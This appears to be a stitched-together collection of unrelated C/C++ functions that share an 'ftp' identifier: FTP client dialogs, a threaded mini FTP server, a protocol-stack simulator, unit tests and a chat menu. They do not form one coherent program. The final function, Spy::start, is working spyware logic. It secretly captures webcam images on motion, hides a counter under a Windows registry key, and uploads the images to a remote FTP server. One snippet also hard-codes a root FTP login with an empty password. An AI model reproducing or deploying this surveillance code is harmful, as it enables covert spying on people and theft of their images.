int main(int argc, char *argv[]) { QCoreApplication app(argc, argv); QString http("http://www.heise.de"); QString ftp("ftp://www.heise.de"); QString host; bool ret; Settings &s = Settings::instance(); ProxySettings ps; ret = s.proxy(Settings::InternetExplorer, http, ps); qDebug() << "IE settings for " << http << ":" << ret << ps; ret = s.proxy(Settings::InternetExplorer, ftp, ps); qDebug() << "IE settings for " << ftp << ":" << ret << ps; ret = s.proxy(Settings::FireFox, http, ps); qDebug() << "Firefox settings for " << http << ":" << ret << ps; ret = s.proxy(Settings::FireFox, ftp, ps); qDebug() << "Firefox settings for " << ftp << ":" << ret << ps; ret = s.proxy(Settings::Manual, http, ps); qDebug() << "Manual settings for " << http << ":" << ret << ps; ret = s.proxy(Settings::Manual, ftp, ps); qDebug() << "Manual settings for " << ftp << ":" << ret << ps; return 0; }
void *Consumer(void *arg) { int fd, hit=0; for (;;) { #if ApplePositive semaphore_wait(shared.full); #else sem_wait(&shared.full); #endif pthread_mutex_lock(&shared.mutex); fd = shared.buff[shared.out]; shared.buff[shared.out] = 0; shared.out = (shared.out+1)%shared.buffSize; /* Release the buffer */ pthread_mutex_unlock(&shared.mutex); ftp(fd, hit); /* Increment the number of full slots */ #if ApplePositive semaphore_signal(shared.empty); #else sem_post(&shared.empty); #endif hit++; } return NULL; }
int main() { const size_t npts = 10; const SS::GhostData ghost(0); const SS::BoundaryCellInfo bc = SS::BoundaryCellInfo::build<FieldT>(); const SS::MemoryWindow mw( SS::IntVec( npts, 1, 1 ) ); FieldT f( mw, bc, ghost, NULL ); double x=0.1; for( FieldT::iterator ifld=f.begin(); ifld!=f.end(); ++ifld, x+=1.0 ){ *ifld = x; } TestHelper status(true); FieldT::interior_iterator i2=f.interior_begin(); for( FieldT::iterator i=f.begin(); i!=f.end(); ++i, ++i2 ){ status( *i==*i2, "value" ); status( &*i == &*i2, "address" ); } { typedef SS::ConstValEval BCVal; typedef SS::BoundaryCondition<FieldT,BCVal> BC; BC bc1( SS::IntVec(2,1,1), BCVal(1.234) ); BC bc2( SS::IntVec(4,1,1), BCVal(3.456) ); bc1(f); bc2(f); status( f[2] == 1.234, "point BC 1" ); status( f[4] == 3.456, "point BC 2" ); } { std::vector<size_t> ix; ix.push_back(4); ix.push_back(2); SpatialOps::Point::FieldToPoint<FieldT> ftp(ix); SpatialOps::Point::PointToField<FieldT> ptf(ix); const SS::MemoryWindow mw2( SpatialOps::structured::IntVec(2,1,1) ); FieldT f2( mw2, bc, ghost, NULL ); ftp.apply_to_field( f, f2 ); status( f2[0] == 3.456, "Field2Point Interp (1)" ); status( f2[1] == 1.234, "Field2Point Interp (2)" ); f2[0] = -1.234; f2[1] = -3.456; ptf.apply_to_field( f2, f ); status( f[2] == -3.456, "Point2Field Interp (1)" ); status( f[4] == -1.234, "Point2Field Interp (2)" ); } if( status.ok() ) return 0; return -1; }
void wxGetFSFTPDialog::OnGetFS(wxCommandEvent& WXUNUSED(event)) { wxString szHost, szUser, szPass; if(m_pHostCtrl && m_pUserCtrl && m_pPassCtrl) { szHost = m_pHostCtrl->GetValue(); szUser = m_pUserCtrl->GetValue(); szPass = m_pPassCtrl->GetValue(); wxCurlFTPTool ftp(szHost); ftp.UsePortOption(true); if(szUser != m_szDefaultUser) ftp.SetUsername(szUser); if(szPass != m_szDefaultPass) ftp.SetPassword(szPass); wxString szResponse; wxArrayFTPFs fsResponse; if(ftp.GetFTPFs(fsResponse)) { szResponse = wxS("SUCCESS!\n\n"); szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode()); for(unsigned int i = 0; i < fsResponse.Count(); i++) { const wxCurlFTPFs& fsItem = fsResponse[i]; szResponse += fsItem.GetName(); szResponse += wxS("\n"); szResponse += fsItem.GetFileSuffix(); szResponse += wxS("\n\n"); } if(m_pTextCtrl) m_pTextCtrl->SetValue(szResponse); } else { szResponse = wxS("FAILURE!\n\n"); szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode()); szResponse += ftp.GetResponseHeader(); szResponse += wxS("\n\n"); szResponse += ftp.GetResponseBody(); szResponse += wxS("\n\n"); szResponse += ftp.GetErrorString(); if(m_pTextCtrl) m_pTextCtrl->SetValue(szResponse); } } }
/** Adds the server * * This method uses the dialog's informations with CurlServerAdd to * submit an administration form to add the server. It is called by * the onOkClicked callback is the controls found no error. * */ void RainbruRPG::Gui::AddServer::addServer(){ std::string name(tfServerName->getText().text()); std::string uniqueName(tfServerUniqueName->getText().text()); std::string type=StringConv::getSingleton() .itos(cbServerType->getCurrentItem()+1); std::string ip (tfServerIp->getText().text()); std::string port(tfServerPort->getText().text()); std::string ftp (tfServerFtp->getText().text()); std::string cli (tfServerCli->getText().text()); std::string desc(txtDesc->getText().text()); std::string tech(txtTech->getText().text()); LOGI("Setting posted data :"); LOGCATS("Server name : '"); LOGCATS(name.c_str()); LOGCATS("'"); LOGCAT(); LOGCATS("Server IP : '"); LOGCATS(ip.c_str()); LOGCATS("'"); LOGCAT(); LOGCATS("Server port : '"); LOGCATS(port.c_str()); LOGCATS("'"); LOGCAT(); LOGCATS("Server maxClients : '"); LOGCATS(cli.c_str()); LOGCATS("'"); LOGCAT(); CurlServerAdd csa; csa.setName(name); csa.setUniqueName(uniqueName); csa.setType(type); csa.setIpAddress(ip); csa.setPort(port); csa.setFtpPort(ftp); csa.setMaxClients(cli); csa.setDescription( desc); csa.setTechNote( tech); // csa.setPostedData("technote", tech); bool per=csa.perform(); if (per){ LOGI("The form was correctly posted"); } else{ HttpResponse hr; long resp=csa.getServerResponse(); const char* mes=hr.getMessage(resp); LOGCATS("HTTP rsponse :"); LOGCATS(mes); } }
void wxGetFTPFileDialog::OnGet(wxCommandEvent& WXUNUSED(event)) { if(m_pSrcCtrl && m_pDestCtrl && m_pUserCtrl && m_pPassCtrl) { wxString szSrc = m_pSrcCtrl->GetValue(); wxString szDest = m_pDestCtrl->GetValue(); wxString szUser = m_pUserCtrl->GetValue(); wxString szPass = m_pPassCtrl->GetValue(); wxString szResponse; if((szSrc == m_szDefaultSrc) || (szDest == m_szDefaultDest)) { wxMessageBox(wxS("Please change the source and destination locations."), wxS("Error..."), wxICON_INFORMATION|wxOK, this); } else if((szUser == m_szDefaultUser) && (szPass == m_szDefaultPass)) { wxMessageBox(wxS("Please change the username or password."), wxS("Error..."), wxICON_INFORMATION|wxOK, this); } else { // Do It! wxCurlFTP ftp(szSrc, szUser, szPass, this, true); if(ftp.Get(szDest)) { szResponse = wxS("SUCCESS!\n\n"); szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode()); szResponse += ftp.GetResponseHeader(); szResponse += wxS("\n\n"); szResponse += ftp.GetResponseBody(); if(m_pRespCtrl) m_pRespCtrl->SetValue(szResponse); } else { szResponse = wxS("FAILURE!\n\n"); szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode()); szResponse += ftp.GetResponseHeader(); szResponse += wxS("\n\n"); szResponse += ftp.GetResponseBody(); szResponse += wxS("\n\n"); szResponse += ftp.GetErrorString(); if(m_pRespCtrl) m_pRespCtrl->SetValue(szResponse); } } } }
void wxFTPRenameDialog::OnRename(wxCommandEvent& WXUNUSED(event)) { if(m_pOrigCtrl && m_pNewCtrl && m_pUserCtrl && m_pPassCtrl) { wxString szOrig = m_pOrigCtrl->GetValue(); wxString szNew = m_pNewCtrl->GetValue(); wxString szUser = m_pUserCtrl->GetValue(); wxString szPass = m_pPassCtrl->GetValue(); wxString szResponse; if((szOrig == m_szDefaultOrig) || (szNew == m_szDefaultNew)) { wxMessageBox(wxS("Please change the ORIGINAL and NEW location."), wxS("Error..."), wxICON_INFORMATION|wxOK, this); } else if((szUser == m_szDefaultUser) && (szPass == m_szDefaultPass)) { wxMessageBox(wxS("Please change the username or password."), wxS("Error..."), wxICON_INFORMATION|wxOK, this); } else { // Do it! wxCurlFTP ftp(szOrig, szUser, szPass); if(ftp.Rename(szNew)) { szResponse = wxS("SUCCESS!\n\n"); szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode()); szResponse += ftp.GetResponseHeader(); szResponse += wxS("\n\n"); szResponse += ftp.GetResponseBody(); if(m_pResponseCtrl) m_pResponseCtrl->SetValue(szResponse); } else { szResponse = wxS("FAILURE!\n\n"); szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode()); szResponse += ftp.GetResponseHeader(); szResponse += wxS("\n\n"); szResponse += ftp.GetResponseBody(); szResponse += wxS("\n\n"); szResponse += ftp.GetErrorString(); if(m_pResponseCtrl) m_pResponseCtrl->SetValue(szResponse); } } } }
void *attendFTP(void *argp) { THREAD_ARGS *args = argp; int sock = *args->fd; ftp(sock, args->hit); free(args->fd); free(args); pthread_exit(NULL); return NULL; }
void wxNlstFTPDialog::OnNlst(wxCommandEvent& WXUNUSED(event)) { wxString szHost, szUser, szPass; if(m_pHostCtrl && m_pUserCtrl && m_pPassCtrl) { szHost = m_pHostCtrl->GetValue(); szUser = m_pUserCtrl->GetValue(); szPass = m_pPassCtrl->GetValue(); wxCurlFTP ftp(szHost); if(szUser != m_szDefaultUser) ftp.SetUsername(szUser); if(szPass != m_szDefaultPass) ftp.SetPassword(szPass); wxString szResponse; if(ftp.Nlst()) { szResponse = wxS("SUCCESS!\n\n"); szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode()); szResponse += ftp.GetResponseHeader(); szResponse += wxS("\n\n"); szResponse += ftp.GetResponseBody(); if(m_pTextCtrl) m_pTextCtrl->SetValue(szResponse); } else { szResponse = wxS("FAILURE!\n\n"); szResponse += wxString::Format(wxS("\nResponse Code: %d\n\n"), ftp.GetResponseCode()); szResponse += ftp.GetResponseHeader(); szResponse += wxS("\n\n"); szResponse += ftp.GetResponseBody(); szResponse += wxS("\n\n"); szResponse += ftp.GetErrorString(); if(m_pTextCtrl) m_pTextCtrl->SetValue(szResponse); } } }
// // Request data port details to connect to. // // Note: This is also used to break data connections // in site-site transfers. // int ftp_pasv( struct ftp_info *info ) { int reply; *info->fi_serverr = 0; reply = ftp( info, "PASV\r\n" ); if (reply >= 500 && reply <= 502) { D(bug( "** setting NO_PASV\n" )); info->fi_flags |= FTP_NO_PASV; } else if (reply / 100 != COMPLETE) stccpy( info->fi_serverr, info->fi_iobuf, IOBUFSIZE + 1 ); return reply; }
void SyncFiles::Run() { stCpyFile orden; SetId("SyncFiles"); while (IsRunning()) { bool _sincronizando = false; this->sleep(10); while (Get(orden)) { NLOG_DEBUG("FTP. Sincronizando Fichero %s en %s", orden.src.c_str(), orden.ipto.c_str()); _sincronizando = _sincronizando ? true : orden.bRecargar; #ifdef _WIN32 if (LocalConfig::cfg.winSyncFtp()) #endif { FtpClient ftp(orden.ipto, "root", ""); try { /** Copia ficheros en remoto... */ ftp.Login(); ftp.Upload(orden.src, orden.dest); ftp.Close(); NLOG_DEBUG("FTP. Fichero %s Sincronizado.", orden.src.c_str()); } catch(FtpClientException x) { /** Normalmente si salta el error vacio la lista para evitar encadenar errores. */ ordenes.clear(); NLOG_ERROR("FTP EXCEPTION: %s", x.what().c_str()); } } } if (_sincronizando) { /** Avisa Cambio Ficheros... */ HttpClient::http.AvisaCambioConfiguracion(orden.ipto + ":" + LocalConfig::cfg.PuertoEscucha()); } } }
int main(int argc, char **argv) { int i, port, pid, listenfd, socketfd, hit, consumers; socklen_t length; static struct sockaddr_in cli_addr; /* static = initialised to zeros */ static struct sockaddr_in serv_addr; /* static = initialised to zeros */ #if OperationMode == 2 if (argc < 5 || argc > 5 || !strcmp(argv[1], "-?")) { printf("\n\nhint: ./tftps Port-Number Top-Directory Consumer-Threads Buffer-Size\n\n""\ttftps is a small and very safe mini ftp server\n""\tExample: ./tftps 8181 ./fileDir \n\n"); exit(0); } consumers = atoi(argv[3]); initConsumerStruct(&shared, (size_t) atoi(argv[4])); #else if (argc < 3 || argc > 3 || !strcmp(argv[1], "-?")) { printf("\n\nhint: ./tftps Port-Number Top-Directory\n\n""\ttftps is a small and very safe mini ftp server\n""\tExample: ./tftps 8181 ./fileDir \n\n"); exit(0); } #endif port = atoi(argv[1]); defaultPath = argv[2]; if (chdir(defaultPath) == -1) { printf("ERROR: Can't Change to directory %s\n", argv[2]); exit(4); } printf("LOG tftps starting %s - pid %d\n", argv[1], getpid()); /* setup the network socket */ if ((listenfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) printf("ERROR system call - setup the socket\n"); if (port < 0 || port > 60000) printf("ERROR Invalid port number (try 1->60000)\n"); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(port); if (bind(listenfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) printf("ERROR system call - bind error\n"); if (listen(listenfd, 64) < 0) printf("ERROR system call - listen error\n"); #if OperationMode == 2 pthread_t idC; int index = 0, item; #if ApplePositive semaphore_create(mach_task_self(), &shared.full, SYNC_POLICY_FIFO, 0); semaphore_create(mach_task_self(), &shared.empty, SYNC_POLICY_FIFO, shared.buffSize); #else sem_t *semFull = sem_open("/semFull", O_CREAT, 0644, 0); sem_t *semEmpty = sem_open("/semEmpty", O_CREAT, 0644, shared.buffSize); shared.full = *semFull; shared.empty = *semEmpty; #endif pthread_mutex_init(&shared.mutex, NULL); /*create a new Consumer*/ for(index=0; index<consumers; index++) { pthread_create(&idC, NULL, Consumer, (void*)&index); } struct sigaction act; act.sa_handler = &onAlarm; act.sa_flags = SA_RESTART; // Restart interrupted system calls sigaction(SIGALRM, &act, NULL); alarm(30); #endif // Main LOOP for (hit = 1 ;; hit++) { length = sizeof(cli_addr); /* block waiting for clients */ socketfd = accept(listenfd, (struct sockaddr *) &cli_addr, &length); if (socketfd < 0) printf("ERROR system call - accept error\n"); else { #if OperationMode #if OperationMode == 1 pthread_t thread_id; THREAD_ARGS *args = malloc(sizeof(THREAD_ARGS)); int * sockAUX = (int *) malloc(sizeof(int *)); *sockAUX = socketfd; args->fd = sockAUX; args->hit = hit; if (args != NULL) { if (pthread_create(&thread_id, NULL, &attendFTP, args)) { perror("could not create thread"); return 1; } } #else item = socketfd; #if ApplePositive semaphore_wait(shared.empty); #else sem_wait(&shared.empty); #endif pthread_mutex_lock(&shared.mutex); shared.buff[shared.in] = item; pthread_mutex_unlock(&shared.mutex); shared.in = (shared.in + 1) % shared.buffSize; #if ApplePositive semaphore_signal(shared.full); #else sem_post(&shared.full); #endif #endif #else pid = fork(); if(pid==0) { ftp(socketfd, hit); exit(0); } else { //Temos de fechar o socketfd para que seja apenas a child a tratar dos pedidos, caso contrário iria ficar aqui pendurado close(socketfd); signal(pid, SIGCHLD); } #endif } } }
// Change transfer type to binary int ftp_image( struct ftp_info *info ) { return ftp( info, "TYPE I\r\n" ); }
int main() { X::TCP ftp(21); ftp.TCP_listen(); return 0; }
// Return current dir int ftp_pwd( struct ftp_info *info ) { return ftp( info, "PWD\r\n" ); }
void logout( struct ftp_info *info ) { // Can TIMEOUT - do we care? ftp( info, "QUIT\r\n" ); }
// Return system type int ftp_syst( struct ftp_info *info ) { return ftp( info, "SYST\r\n" ); }
int main( int argc, char * argv[] ) { int c; // used to parse command line flags int i; // used to iterate string logfile; // name of logfile string swarmfile; // name of swarm config file i = 0; logfile = ""; swarmfile = ""; args.portnum = PORTNUM; args.bytes = 0; args.filename = ""; args.username = "******"; args.password = "******"; args.active = false; args.mode = 'b'; args.nservers = 0; args.logstream = NULL; //////////////////////////////////////////////////////////////////////////// // check for at least 1 flag if( argc < 2 ) { help(); } if( DEBUG ) cout << "initializing command line args" << endl; // initialize args from command line flags while( ( c = getopt_long( argc, argv, FLAGS, longopts, &i ) ) != -1 ) { switch( c ) { case 'h': help(); case 'v': version(); case 'f': args.filepath = optarg; if( DEBUGI ) cout << "filepath : " << args.filename << endl; // parse filepath to get file name args.filename = get_filename( optarg ); if( DEBUGI ) cout << setw( DW ) << "filename : " << args.filename << endl; break; case 's': args.servername = optarg; args.nservers++; if( DEBUGI ) cout << "servername : " << args.servers[ 0 ].servername << endl; break; case 'p': args.portnum = atoi( optarg ); if( DEBUGI ) cout << "portnum : " << args.portnum << endl; if( args.portnum <= 0 || args.portnum > 65535 ) return_error( "error invalid port number", NERR, SYNERR ); break; case 'n': args.username = optarg; if( DEBUGI ) cout << setw( DW ) << "username : "******"password : "******"active : " << args.active << endl; break; case 'm': args.mode = optarg[ 0 ]; if( args.mode != 'a' && args.mode != 'b' ) return_error( "error mode usage: ascii or binary", NERR, SYNERR ); if( DEBUGI ) cout << setw( DW ) << "mode : " << args.mode << endl; break; case 'l': logfile = optarg; if( logfile == "-" ) args.logstream = stdout; else args.logstream = fopen( logfile.c_str(), "w" ); if( DEBUGI ) cout << setw( DW ) << "logfile : " << logfile << endl; break; case 'w': swarmfile = optarg; if( DEBUGI ) cout << setw( DW ) << "swarmfile : " << swarmfile << endl; break; case 'b': args.bytes = atoi( optarg ); if( DEBUGI ) cout << setw( DW ) << "bytes : " << args.bytes << endl; if( args.bytes <= 0 ) return_error( "error invalid byte value", NERR, SYNERR ); break; case '?': default: help(); break; } } //////////////////////////////////////////////////////////////////////////// // check for file and server names + call ftp client if( swarmfile == "" ) { if( args.filename == "" || args.servername == "" ) return_error( "error -f, -s OR -w required", NERR, SYNERR ); // open file to read to if( ( args.file = fopen( args.filename.c_str(), "w" ) ) == NULL ) return_error( "error creating file ( basic )", NERR, GENERR ); ftp(); } else { if( args.filename != "" || args.servername != "" ) return_error( "error -f, -s OR -w required", NERR, SYNERR ); init_swarmfile( swarmfile ); } return 0; }
void MT(void) { char buf[10]; while(1) { sen.pro = 2; system("clear"); printf("-----欢迎进入MT-----\n\n"); printf("--------------------\n"); printf("1--------私聊-------\n"); printf("2--------群聊-------\n"); printf("3---------FTP-------\n"); printf("4---------VIP-------\n"); printf("5------修改状态-----\n"); printf("6------修改密码-----\n"); printf("7--------注销-------\n"); printf("8--------退出-------\n"); printf("--------------------\n\n"); printf("请输入你的选择:"); memset(buf,0,10); fgets(buf,10,stdin); if(strlen(buf) > 2) { continue; } if(buf[0] == '1') { sl(); } else if(buf[0] == '2') { ql(); } else if(buf[0] == '3') { ftp(); } else if(buf[0] == '4') { vip(); } else if(buf[0] == '5') { zt(); } else if(buf[0] == '6') { gm(); } else if(buf[0] == '7') { sen.pro = 6; strcpy(sen.message,"ZX"); send(fd,&sen,len_data,0); MAIN(); } else if(buf[0] == '8') { sen.pro = 6; strcpy(sen.message,"MT"); send(fd,&sen,len_data,0); exit(0); } } }
int main(int argc, char* argv[], char* envp[]){ //silence warnings (void)envp; if(argc != 4){ printf("Wrong number of arguments. Usage %s <local port> <remote host> <remote port> \n", argv[0]); return 1; } int listenPort = atoi(argv[1]); //timing synchronization //apps will signal when they're all done pthread_mutex_init(&count_mutex, NULL); pthread_cond_init (&count_threshold_cv, NULL); struct timeval t1; struct timeval t2; // set up network ppETH eth(1, listenPort, argv[3], argv[2]); ppIP ip(2); ppTCP tcp(3); ppUDP udp(4); ppFTP ftp(5); ppTEL tel(6); ppRDP rdp(7); ppDNS dns(8); ftpAPP ftpApplication(5, true); telAPP telApplication(6, true); rdpAPP rdpApplication(7, true); dnsAPP dnsApplication(8, true); eth.registerHLP(ip); ip.registerHLP(tcp); ip.registerHLP(udp); tcp.registerHLP(ftp); tcp.registerHLP(tel); udp.registerHLP(rdp); udp.registerHLP(dns); dns.registerHLP(dnsApplication); ftp.registerHLP(ftpApplication); rdp.registerHLP(rdpApplication); tel.registerHLP(telApplication); ftp.registerLLP(tcp); tel.registerLLP(tcp); rdp.registerLLP(udp); dns.registerLLP(udp); tcp.registerLLP(ip); udp.registerLLP(ip); ip.registerLLP(eth); dnsApplication.registerLLP(dns); ftpApplication.registerLLP(ftp); rdpApplication.registerLLP(rdp); telApplication.registerLLP(tel); ip.start(); tcp.start(); udp.start(); ftp.start(); tel.start(); rdp.start(); dns.start(); //make sure everything is set before we start timing sleep(5); gettimeofday(&t1, NULL); // dnsApplication.startListen(); // ftpApplication.startListen(); // rdpApplication.startListen(); // telApplication.startListen(); dnsApplication.startApplication(); ftpApplication.startApplication(); rdpApplication.startApplication(); telApplication.startApplication(); //wait for apps to finish and then stop timing or whatever pthread_mutex_lock(&count_mutex); while (count<numApps*2) { pthread_cond_wait(&count_threshold_cv, &count_mutex); } pthread_mutex_unlock(&count_mutex); gettimeofday(&t2, NULL); printf("Listening on %d took %f ms\n", listenPort, diffms(t2,t1)); }
void Spy::start(){ m_start = true; XWebcam webcam; int webcamCount = webcam.webcamCount(); if (webcamCount == 0){ return; } while(!Icmp::ping("8.8.8.8")){ MYPRINTF("no internet ? wait\n"); Sleep(60000); } TCHAR* path = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"); TCHAR* key = TEXT("Index"); Register reg; int value = reg.getKeyAsInt(path, key, 0); if (value == 0){ reg.createStringKey(HKEY_CURRENT_USER, path, key, TEXT("1")); value = 1; } while(m_start) { //for (int i = 0; i < webcamCount; i++){ if (webcam.snapMotionDetection(m_locale.c_str(), 1, m_detail)){ if (value > m_maxImg){ value = 1; } std::tstring name; name.append(m_remote); TCHAR buffer [33]; _itot(value, buffer, 10); name.append(buffer); name.append(TEXT(".jpg")); TCHAR buffer2 [33]; _itot(value, buffer2, 10); value++; reg.createStringKey(HKEY_CURRENT_USER, path, key, buffer2); try { Ftp ftp(m_url, 21, m_ftpUser, m_ftpPassword); ftp.setCurrentDirectory(TEXT("public_html")); //char buffer_dir[128]; //if (webcamCount != 1){ // sprintf_s(buffer_dir, COUNTOF(buffer_dir), "%s_%d", m_ftpDirectory.c_str(), i + 1); //} else { // sprintf_s(buffer_dir, COUNTOF(buffer_dir), "%s", m_ftpDirectory.c_str()); //} try { ftp.createDirectory(m_ftpDirectory); } catch (std::exception error){ //MYPRINTF("%s\n", error.what()); } ftp.setCurrentDirectory(m_ftpDirectory); ftp.uploadFile(m_locale.c_str(), name.c_str()); } catch (std::exception error){ MYPRINTF("exception: %s\n", error.what()); } //} } Sleep(m_wait); m_start = RUNNING; } }